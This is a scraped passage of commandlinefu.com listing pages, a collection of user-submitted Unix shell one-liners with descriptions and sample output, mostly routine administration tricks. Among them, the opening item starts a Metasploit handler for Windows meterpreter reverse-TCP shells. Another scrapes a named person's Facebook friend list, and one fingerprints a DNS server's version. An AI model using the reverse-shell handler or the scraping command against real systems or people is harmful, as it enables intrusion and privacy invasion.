databases and tables. msfcli payload=windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 E Start handler in metasploit to listen for reverse meterpreter connections Start handler in metasploit to listen for reverse meterpreter connections. Replace ip and port with the ones you've set up. grep -R Subject /var/spool/exim/input/ | sed s/^.*Subject:\ // | sort | uniq -c | sort -n > ~/email_sort.$(date +%m.%d.%y).txt Functions: date grep sed sort uniq Sort and count subjects of emails stuck in Exim queue VAR="%23%21%2fbin%2fbash" ; printf -v VAR "%b" "${VAR//\%/\x}" ; echo $VAR urldecoding with one pure BASH builtin You can use ordinary printf to convert "%23%21%2fbin%2fbash" into "#!/bin/bash" with no external utilities, by using a little known printf feature -- the "%b" specifier converts shell escapes. Replace % with \x and printf will understand the urlencoded string. BASH's printf has an extension to set a variable directly, too. So you get to convert urlencoded strings from garble to plaintext in one step with no externals and no backticks. pi 66 | number Find out how to say the first 66 digits of pi as a word pi 66 This prints out the first 66 digits of pi. number This takes any number (no more than 66 digits long) from stdin (or on the command line), and tells you how to say it. E.g number 365 outputs "three hundred sixty-five" sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE What happens if there is more than a single space between words, or spaces and tabs? This command will remove duplicate spaces and tabs. The "-r" switch allows for extended regular expressions. No additional piping necessary. sed -i 's/oldname@example.com/newname@example.com/g' `grep oldname@example.com -rl .` Change your e-mail address in multiple files OUTPUT="`find / -type f`" ; echo "$OUTPUT" | grep sysrq ; echo "$OUTPUT" | grep sysctl ; echo "$OUTPUT" | less Functions: echo grep sysctl Capture and re-use expensive multi-line output in shell The example is a little bit bogus, but applies to any command that takes a while interactively, or might be a bit of a drag on system resources. Once the command's output is saved to a variable, you can then echo "$OUTPUT" to see it in multi-line glory after that. The use of double-quotes around the backticks and during the variable expansion disables any IFS conversion during those two operations. Very useful for reporting that might pull different lines out, like from dmidecode, inq or any other disk detail command. The only caveat is that storing too much in a variable might make your shell process grow. for i in $(find /dev/ -type b) ; do ( udevadm info -a -p $(udevadm info -q path -n $i) ) ; done # for i in $(find /dev/ -type b) ; do ( udevadm info -a -p $(udevadm info -q path -n $i) ) ; done Udevadm info starts with the device specified by the devpath and then walks up the chain of parent devices. It prints for every device found, all possible attributes in the udev rules key format. A rule to match, can be composed by the attributes of the device and the attributes from one single parent device. looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-18/target0:0:6/0:0:6:1/block/sdi/sdi1': KERNEL=="sdi1" SUBSYSTEM=="block" DRIVER=="" ATTR{partition}=="1" ATTR{start}=="34" ATTR{size}=="2097085" ATTR{alignment_offset}=="0" ATTR{discard_alignment}=="4294949888" ATTR{inflight}==" 0 0" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-18/target0:0:6/0:0:6:1/block/sdi': KERNELS=="sdi" SUBSYSTEMS=="block" DRIVERS=="" ATTRS{range}=="16" ATTRS{ext_range}=="256" ATTRS{removable}=="0" ATTRS{ro}=="0" ATTRS{size}=="2097152" ATTRS{alignment_offset}=="0" ATTRS{discard_alignment}=="0" ATTRS{capability}=="50" ATTRS{inflight}==" 0 0" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-18/target0:0:6/0:0:6:1': KERNELS=="0:0:6:1" SUBSYSTEMS=="scsi" DRIVERS=="sd" ATTRS{device_blocked}=="0" ATTRS{type}=="0" ATTRS{scsi_level}=="6" ATTRS{vendor}=="HP " ATTRS{model}=="HSV210 " ATTRS{rev}=="6220" ATTRS{state}=="running" ATTRS{timeout}=="30" ATTRS{iocounterbits}=="32" ATTRS{iorequest_cnt}=="0x1b4" ATTRS{iodone_cnt}=="0x1b4" ATTRS{ioerr_cnt}=="0x1" ATTRS{modalias}=="scsi:t-0x00" ATTRS{evt_media_change}=="0" ATTRS{dh_state}=="detached" ATTRS{queue_depth}=="32" ATTRS{queue_ramp_up_period}=="120000" ATTRS{queue_type}=="none" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-18/target0:0:6': KERNELS=="target0:0:6" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-18': KERNELS=="rport-0:0-18" SUBSYSTEMS=="" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0': KERNELS=="host0" ATTRS{fw_dump}=="" ATTRS{optrom}=="" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0': KERNELS=="0000:06:02.0" SUBSYSTEMS=="pci" DRIVERS=="qla2xxx" ATTRS{vendor}=="0x1077" ATTRS{device}=="0x2312" ATTRS{subsystem_vendor}=="0x0e11" ATTRS{subsystem_device}=="0x0100" ATTRS{class}=="0x0c0400" ATTRS{irq}=="78" ATTRS{local_cpus}=="ffffffff" ATTRS{local_cpulist}=="0-31" ATTRS{modalias}=="pci:v00001077d00002312sv00000E11sd00000100bc0Csc04i00" ATTRS{dma_mask_bits}=="64" ATTRS{consistent_dma_mask_bits}=="64" ATTRS{enable}=="1" ATTRS{broken_parity_status}=="0" ATTRS{msi_bus}=="" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0': KERNELS=="0000:05:00.0" ATTRS{vendor}=="0x8086" ATTRS{device}=="0x0329" ATTRS{subsystem_vendor}=="0x0000" ATTRS{subsystem_device}=="0x0000" ATTRS{class}=="0x060400" ATTRS{irq}=="0" ATTRS{modalias}=="pci:v00008086d00000329sv00000000sd00000000bc06sc04i00" ATTRS{dma_mask_bits}=="32" ATTRS{consistent_dma_mask_bits}=="32" ATTRS{msi_bus}=="1" looking at parent device '/devices/pci0000:00/0000:00:06.0': KERNELS=="0000:00:06.0" DRIVERS=="pcieport" ATTRS{device}=="0x3599" ATTRS{irq}=="121" ATTRS{modalias}=="pci:v00008086d00003599sv00000000sd00000000bc06sc04i00" ATTRS{enable}=="2" looking at parent device '/devices/pci0000:00': KERNELS=="pci0000:00" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-18/target0:0:6/0:0:6:1/block/sdi': KERNEL=="sdi" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{removable}=="0" ATTR{ro}=="0" ATTR{size}=="2097152" ATTR{discard_alignment}=="0" ATTR{capability}=="50" looking at device '/devices/virtual/block/dm-1': KERNEL=="dm-1" ATTR{range}=="1" ATTR{ext_range}=="1" ATTR{size}=="426737664" ATTR{capability}=="10" looking at device '/devices/virtual/block/loop7': KERNEL=="loop7" ATTR{size}=="0" ATTR{stat}==" 0 0 0 0 0 0 0 0 0 0 0" looking at device '/devices/virtual/block/loop6': KERNEL=="loop6" looking at device '/devices/virtual/block/loop5': KERNEL=="loop5" looking at device '/devices/virtual/block/loop4': KERNEL=="loop4" looking at device '/devices/virtual/block/loop3': KERNEL=="loop3" looking at device '/devices/virtual/block/loop2': KERNEL=="loop2" looking at device '/devices/virtual/block/loop1': KERNEL=="loop1" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-15/target3:0:4/3:0:4:1/block/sdh': KERNEL=="sdh" ATTR{size}=="4194304" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-15/target3:0:4/3:0:4:1': KERNELS=="3:0:4:1" ATTRS{model}=="HSV300 " ATTRS{rev}=="0953" ATTRS{iorequest_cnt}=="0xb0" ATTRS{iodone_cnt}=="0xb0" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-15/target3:0:4': KERNELS=="target3:0:4" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-15': KERNELS=="rport-3:0-15" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3': KERNELS=="host3" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0': KERNELS=="0000:0a:01.0" ATTRS{irq}=="97" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2': KERNELS=="0000:05:00.2" ATTRS{device}=="0x032a" ATTRS{modalias}=="pci:v00008086d0000032Asv00000000sd00000000bc06sc04i00" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-17/target0:0:5/0:0:5:1/block/sde/sde1': KERNEL=="sde1" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-17/target0:0:5/0:0:5:1/block/sde': KERNELS=="sde" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-17/target0:0:5/0:0:5:1': KERNELS=="0:0:5:1" ATTRS{iorequest_cnt}=="0x1b9" ATTRS{iodone_cnt}=="0x1b9" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-17/target0:0:5': KERNELS=="target0:0:5" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-17': KERNELS=="rport-0:0-17" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-16/target0:0:4/0:0:4:1/block/sdd/sdd1': KERNEL=="sdd1" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-16/target0:0:4/0:0:4:1/block/sdd': KERNELS=="sdd" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-16/target0:0:4/0:0:4:1': KERNELS=="0:0:4:1" ATTRS{iorequest_cnt}=="0x1bb" ATTRS{iodone_cnt}=="0x1bb" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-16/target0:0:4': KERNELS=="target0:0:4" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-16': KERNELS=="rport-0:0-16" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-17/target0:0:5/0:0:5:1/block/sde': KERNEL=="sde" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/host0/rport-0:0-16/target0:0:4/0:0:4:1/block/sdd': KERNEL=="sdd" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-13/target3:0:2/3:0:2:1/block/sdb': KERNEL=="sdb" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-13/target3:0:2/3:0:2:1': KERNELS=="3:0:2:1" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-13/target3:0:2': KERNELS=="target3:0:2" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-13': KERNELS=="rport-3:0-13" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-14/target3:0:3/3:0:3:1/block/sdc': KERNEL=="sdc" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-14/target3:0:3/3:0:3:1': KERNELS=="3:0:3:1" ATTRS{iorequest_cnt}=="0xac" ATTRS{iodone_cnt}=="0xac" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-14/target3:0:3': KERNELS=="target3:0:3" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-14': KERNELS=="rport-3:0-14" looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-12/target3:0:1/3:0:1:1/block/sda': KERNEL=="sda" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-12/target3:0:1/3:0:1:1': KERNELS=="3:0:1:1" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-12/target3:0:1': KERNELS=="target3:0:1" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/host3/rport-3:0-12': KERNELS=="rport-3:0-12" looking at device '/devices/virtual/block/loop0': KERNEL=="loop0" looking at device '/devices/platform/floppy.0/block/fd0': KERNEL=="fd0" ATTR{removable}=="1" ATTR{capability}=="11" looking at parent device '/devices/platform/floppy.0': KERNELS=="floppy.0" SUBSYSTEMS=="platform" DRIVERS=="floppy" ATTRS{modalias}=="platform:floppy" ATTRS{cmos}=="4" looking at parent device '/devices/platform': KERNELS=="platform" looking at device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d4/block/cciss!c0d4/cciss!c0d4p1': KERNEL=="cciss/c0d4p1" ATTR{start}=="2048" ATTR{size}=="142251232" ATTR{discard_alignment}=="4293918720" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d4/block/cciss!c0d4': KERNELS=="cciss/c0d4" ATTRS{ext_range}=="16" ATTRS{size}=="142253280" ATTRS{capability}=="10" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d4': KERNELS=="c0d4" SUBSYSTEMS=="cciss" ATTRS{unique_id}=="600508B1001844585154493134330016" ATTRS{model}=="LOGICAL VOLUME " ATTRS{rev}=="2.80" ATTRS{lunid}=="0x0400004000000000" ATTRS{raid_level}=="RAID 0" ATTRS{usage_count}=="1" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0': KERNELS=="cciss0" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0': KERNELS=="0000:04:03.0" DRIVERS=="cciss" ATTRS{vendor}=="0x0e11" ATTRS{device}=="0x0046" ATTRS{subsystem_device}=="0x4091" ATTRS{class}=="0x010400" ATTRS{irq}=="51" ATTRS{modalias}=="pci:v00000E11d00000046sv00000E11sd00004091bc01sc04i00" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2': KERNELS=="0000:02:00.2" looking at parent device '/devices/pci0000:00/0000:00:02.0': KERNELS=="0000:00:02.0" ATTRS{device}=="0x3595" ATTRS{irq}=="120" ATTRS{modalias}=="pci:v00008086d00003595sv00000000sd00000000bc06sc04i00" looking at device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d4/block/cciss!c0d4': KERNEL=="cciss/c0d4" ATTR{ext_range}=="16" ATTR{size}=="142253280" looking at device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d3/block/cciss!c0d3': KERNEL=="cciss/c0d3" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d3': KERNELS=="c0d3" ATTRS{unique_id}=="600508B1001844585154493134330015" ATTRS{lunid}=="0x0300004000000000" looking at device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d2/block/cciss!c0d2': KERNEL=="cciss/c0d2" looking at parent device '/devices/pci0000:00/0000:00:02.0/0000:02:00.2/0000:04:03.0/cciss0/c0d2': KERNELS=="c0d2" ATTRS{unique_id}=="600508B1001844585154493134330014" ATTRS{lunid}=="0x0200004000000000" ATTRS{enable}== Functions: find info Show the parents of all block devices with udevadm(1) To show the character devices, use the "-type c" option instead . ‹ First < 195 196 197 198 199 > Last › commandlinefu.com is the place to record those command-line gems that you return to again and again. personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down. If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/ You can sign-in using OpenID credentials, or register a traditional username and password. First-time OpenID users will be automatically assigned a username which can be changed after signing in. $ php -r "echo urlencode('$1');" Returns URL Encoded string from input ($1). alternative | Report as a duplicate rpm --querytags | egrep -v HEADERIMMUTABLE | sort | while read tag ; do rpm -q --queryformat "$tag: [%{$tag} ]\n" -p $SomeRPMfile ; done Functions: egrep read rpm sort If you want to relocate a package on your own, or you just want to know what those PREIN/UN and POSTIN/UN scripts will do, this will dump out all that detail simply. You may want to expand the egrep out other verbose flags like CHANGELOGTEXT etc, as your needs require. It isn't clear, but the formatting around $tag is important: %{$tag} just prints out the first line, while [%{$tag }] iterates thru multi-line output, joining the lines with a space (yes, there's a space between the g and } characters. To break it out for all newlines, use [%{$tag\n}] but the output will be long. This is aside from rpm2cpio | cpio -ivd to extract the package files. for i in /sys/class/fc_host/* ; do ( udevadm info -a -p $i ) ; done # for i in /sys/class/fc_host/* ; do ( udevadm info -a -p $i ) ; done looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:06:02.0/ host0/fc_host/host0': KERNEL=="host0" SUBSYSTEM=="fc_host" ATTR{node_name}=="0x200000e08b9190dc" ATTR{port_name}=="0x210000e08b9190dc" ATTR{supported_classes}=="Class 3" ATTR{supported_speeds}=="1 Gbit, 2 Gbit" ATTR{max_npiv_vports}=="0" ATTR{npiv_vports_inuse}=="0" ATTR{port_id}=="0x051c00" ATTR{port_type}=="NPort (fabric via point-to-point)" ATTR{port_state}=="Online" ATTR{speed}=="2 Gbit" ATTR{fabric_name}=="0x100500901eb20c" ATTR{symbolic_name}=="QLA2340 FW:v3.03.27 DVR:v8.03.02-k2" ATTR{system_hostname}=="" ATTR{tgtid_bind_type}=="wwpn (World Wide Port Name)" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.0/0000:0 6:02.0/host0': 6:02.0': looking at device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0a:01.0/ host3/fc_host/host3': KERNEL=="host3" ATTR{node_name}=="0x200000e08b9150dd" ATTR{port_name}=="0x210000e08b9150dd" ATTR{port_id}=="0x030200" ATTR{fabric_name}=="0x100500031e4234" looking at parent device '/devices/pci0000:00/0000:00:06.0/0000:05:00.2/0000:0 a:01.0/host3': a:01.0': Get details about all fibre cards with udevadm(1) Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate history | sed -e 's/^sudo //' | awk '{print $2}' | sort | uniq -c | sort -rn | head Functions: awk sed sort uniq I make an extensive use of sudo, so I had to exclude the sudo part of the command history perl -pi -e's/foo/bar/g' file1 file2 fileN infile search and replace on N files The "g" at the end is for global, meaning replace all occurrences and not just the first one. awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}' controlled by shell variable $NUM. Show sample output | Comments (1) | Add to favourites | Report as export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom' StopWatch, OnScreen version, blinking shily on all desktops Variation of the theme, this one blinks in low profile on top level of X, ie, it is visible, indeed small. Try changing fonts and sizes of osd_cat kbuildsycoca4 && kquitapp plasma-desktop && kstart plasma-desktop Cleanly quit KDE4 apps Quit Kill Restart Plasma whenever it is hung! find `pwd` -iname *SEARCH_STRING* >> ~/PLAYLIST_NAME.m3u add a particular track to a playlist by looking for a part of its file name must be in the directory containing the track outputs to ~ but could be replaced with whatever you like e.g. ~/music/ ifconfig|grep 'inet addr:'|grep 'Bcast'|awk '{print $2}'|awk -F : '{print $2}' 111.195.122.85 Get own IP address You can get your computer IP address quickly. mutt -s "Subject" -a attachment -- example@tutorialarena.com send email with attachment Can be completely scripted, including message etc... with a few extra options, but in this form, allows you to write the message, and confirm sending etc... dos2unix file.txt Remove CR from Windows- / DOS-textfiles curl -Is slashdot.org | sed -ne '/^X-[FBL]/s/^X-//p' "%02d:%02d:%02d" $hours $minutes $seconds) | toilet -f shadow' _ \ _ \ ___ \ ___ / | | ___| | | | | _) ) | _ \ _) | | __ \ | | | | __/ ) | ___ __| ) | \___/ \___/ _) _____| ____/ _) _| ____/ StopWatch, toilet version, amazing format inside terminal already described on the other two versions, this one uses ascii characters on game style to display elapsed time. parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%- *};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; } Parse an RPM name into its components - fast parse_rpm xorg-x11-fonts-ISO8859-1-75dpi-7.1-2.1.el5.noarch.rpm xorg-x11-fonts-ISO8859-1-75dpi 7.1 2.1.el5 noarch It's a little tricky because RPM names can contain '-' and the name, version and release number can contain '.' This is one or two orders of magnitude faster than using rpm itself: rpm -qp --queryformat '%{N} %{V} %{R} %{ARCH}\n' $RPM grep -i "aborted login" /var/log/maillog | awk 'BEGIN{FS="="}{print substr($4,8)}' | cut -d"," -f1 IP list of aborted mail logins Prints a list of ip that tried to login on SMTP/IMAP/POP3/etc. for i in $(ls *.flv); do ffmpeg2theora -v 6 --optimize $i; done Duration: 00:00:37.87, start: 0.000000, bitrate: 48 kb/s Stream #0.0: Video: flv, yuv420p, 320x240, 12.50 tbr, 1k tbn, 1k tbc Stream #0.1: Audio: mp3, 22050 Hz, 2 channels, s16, 48 kb/s 0:00:37.92 audio: 42kbps video: 83kbps, time elapsed: 00:00:06 0:00:37.87 audio: 42kbps video: 83kbps, time elapsed: 00:00:06 flashgot Convert all FLV's in a directory to Ogg Theora (video) using FlashGot Firefox plugin? Try out this script... w see who is on this machine for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize --enable-heuristics;done One liner to parse all epubs in a directory and use the calibre ebook-convert utility to convert them to mobi format Without extra css, just run it cat authorized_keys_with_broken_lines | sed 's,^ssh,%ssh,' | tr '\n' '\0' | tr '%' '\n' | sed '1d' | sed "/^$/d" > authorized_keys root@localhost:~/Desktop$ cat authorized_keys_with_broken_lines ssh-dss AAAA00000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000 11111111111111111111111111111111111111111111111111111111111111111111111111111111 1111111111111111111111111111111111111 22222222222222222222222222222222222222222222222222222222222222222222222222222222 2222222222222222222222222222222222222 33333333333333333333333333333333333333333333333333333333333333333333333333333333 3333333333333333333333333333333333333 44444444444444444444444444444444444444444444444444444444444444444444444444444444 44444444444444444444444444444444444444444 root@localhost root@localhost:~/Desktop$ cat authorized_keys_with_broken_lines | sed 's,^ssh,%s sh,' | tr '\n' '\0' | tr '%' '\n' | sed '1d' | sed "/^$/d" 00000000000000000000000000000000000011111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111112222222 22222222222222222222222222222233333333333333333333333333333333333333333333333333 33333333333333333333333333333333333333333333333333333333333333333334444444444444 4444444444444444444444444444 root@localhost Functions: cat sed tr Reconstruct a malformed authorizated_keys for ssh when someone mail you his ssh public key, and the lines are broken with '\n', you can reconstruct a new file with one key by line with this ifconfig eth0 | perl -ne "print if m/inet addr:((\d+\.){3})+/" | sed "s/inet addr//" | sed "s/Bcast//" |awk -F: '{print $2}' 192.168.1.102 Functions: awk ifconfig perl sed only output the ip addres. I put double pipe with sed because not parse with operator OR (|) in redex. find . -type f -mtime -1 \! -type d -exec ls -l {} \; list all files modified in the last 24 hours descending from current directory time read x real 0m3.340s Fast CLI Timer Say you want to time how long a task you're performing takes. Start this simple timer and you're done! Show sample output | Comments (2) | Add to favourites | Report as lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=Bilal Butt&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2 Functions: cut gawk grep wala lso(){ ls -l $@|sed '1 !{s/rwx/7/g;s/rw-/6/g;s/r-x/5/g;s/r--/4/g;s/-wx/3/g;s/-w-/2/g;s/--x/1/g ;s/---/0/g;s/^[bcdlpsw]/& /;s/^-/ /;};';} ls output - octal credit: epons.org for the idea obviously this is unnecessary if you have access to stat(1) also doesn't account for sticky bit ‹ First < 196 197 198 199 200 > Last › echo $( (( $( (2**31 -1) ) - $(date +%s) )) ) 908835068 Number of seconds to certain unix date Echos the number of seconds from the current time till the specified time (Example in command is (2**31-1)) aka the Unix epoch. Just replace that number with the specified date (in seconds past Jan. 1st 1970) and it will return the seconds. NOTE: Only works in bash prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+$next));prev=$next;next=$sum;sleep 1;done Fibonacci numbers with sh In most modern shells, printf is a builtin command. setxkbmap dvorak '' ctrl:nocaps Set X keymap to dvorak and fix the Ctrl key. What to type to fix the keyboard when it's all qwerty and/or the modifier key to the left of the 'a' is doing something unexpected. In addition, I've also been known to use the altwin:meta_win and compose:ralt flags. ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed -r -e 's/\/.*?//g' 192.168.1.101 truss date 2>&1 | awk '/^time/{print $3}' Functions: awk date solaris: get seconds since epoch ps -u $USER -lf | grep -vE "\-bash|sshd|ps|grep|PPID" > .tmpkill; if (( $(cat .tmpkill | wc -l) > 0 )); then echo "# KILL EM ALL"; cat .tmpkill; cat .tmpkill | awk '{print $4}' | xargs kill -9; else echo "# NOTHING TO KILL"; fi; cat .tmpkill; rm .tmpkill; Functions: awk cat echo grep kill ps rm wc xargs Kills all process that belongs to the user that runs it - excluding bash, sshd (so putty/ssh session will be spared). The bit that says grep -vE "..." can be extended to include ps line patterns that you want to spare. If no process can be found on the hitlist, it will print # NOTHING TO KILL. Otherwise, it will print # KILL EM ALL, with the cull list. git ls-files -z -d | xargs -0 git rm -- Functions: rm xargs git-rm for all deleted files, including those with space/quote/unprintable characters in their filename/path while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done terminal based annoy-a-tron credit goes to icanhaslinux.com http://icanhaslinux.com/2007/09/17/annoy-your-coworkers-linux-style/ myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; } $ ln -s c /tmp/b $ ln -s b /tmp/a $ myreadlink /tmp/a Functions: cd command dirname echo ls 'readlink' equivalent using shell commands, and following all links This is a equivalent to the GNU ' readlink' tool, but it supports following all the links, even in different directories. An interesting alternative is this one, that gets the path of the destination file myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link" | sed "s|^\([^/].*\)\$|$(dirname $1)/\1|"); } < /etc/passwd sed -n "/^bin:/,/^lp:/p" $ < /etc/passwd sed -n "/^bin:/,/^lp:/p" bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/sh adm:x:3:4:adm:/var/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh display lines in /etc/passwd between line starting ... [continued]...with "bin:" and line starting with "lp:". This specific example with /etc/passwd shows the power of sed to extract data from text files. Here we see an extract from /etc/passwd beginning with the line starting with "bin:" and ending with the line starting with "lp:". Note also, placing the STDIN redirection at the start of the command makes it easy to recall and modify the command parameters line in shell history. figlet -f $(ls /usr/share/figlet/fonts/*.flf | shuf -n1) namakukingkong | cowsay -n -f $(ls /usr/share/cows/ | shuf -n1) _________________________________________________________________________ / __ __ _ __ \ | ___ ___ ___ _ ___ _/ /____ __/ /__ (_)__ ___ _/ /_____ ___ ___ _ | | / _ \/ _ `/ ' \/ _ `/ '_/ // / '_// / _ \/ _ `/ '_/ _ \/ _ \/ _ `/ | | /_//_/\_,_/_/_/_/\_,_/_/\_\\_,_/_/\_\/_/_//_/\_, /_/\_\\___/_//_/\_, / | \ /___/ /___/ / ------------------------------------------------------------------------- \ \ \_\_ _/_/ \ \__/ alamybs@namakukingkong ~ $ Random cowsay with figlet typhography You need to have figlet(for font) and cowsay installed then add it to your .bashrc file.You can see it every time after start a new session. xmms2 addpls cdda:// Add audio CD to xmms2 playlist find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2 Archive every file in /var/logs functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/(){//g' | less; } Functions: grep read sed sort Find all bash functions in a file This command finds all of the functions defined in any shell script you specify including .bashrc mysqldump -u -p -h databasename table1 table2 table_n | mysql -u -p -h databasename Export mysql database to another database without having to save the output first Instead of creating a database backup to file you send the results to a database. Entire database can be copied from server 1 to server 2 without as follows mysqldump -u -p -h --database database_name | mysql -u -p -h ack "search pharse" *.[ch] ack search recursively by default watch -tn1 'figlet -f slant `date +%T` | cowsay -n -f telebears' _______________________________________ / ___ ___ __ __ ____ ___ ____ \ | |__ \< / / // / ( __ )_|__ \/ __ \ | | __/ // (_) // /_/ __ (_)_/ / /_/ / | | / __// / /__ __/ /_/ / / __/\__, / | | /____/_(_) /_/ \____(_)____/____/ | \ / --------------------------------------- Realtime clock cowsay You need to have figlet(for font) and cowsay installed. Just copy n paste this command and you can see..... nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET maggie:~ root# nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET Server: NS.PHX5.NEARLYFREESPEECH.NET version.bind text = "9.3.4-P1" Check version of DNS Server find . -type f -exec stat 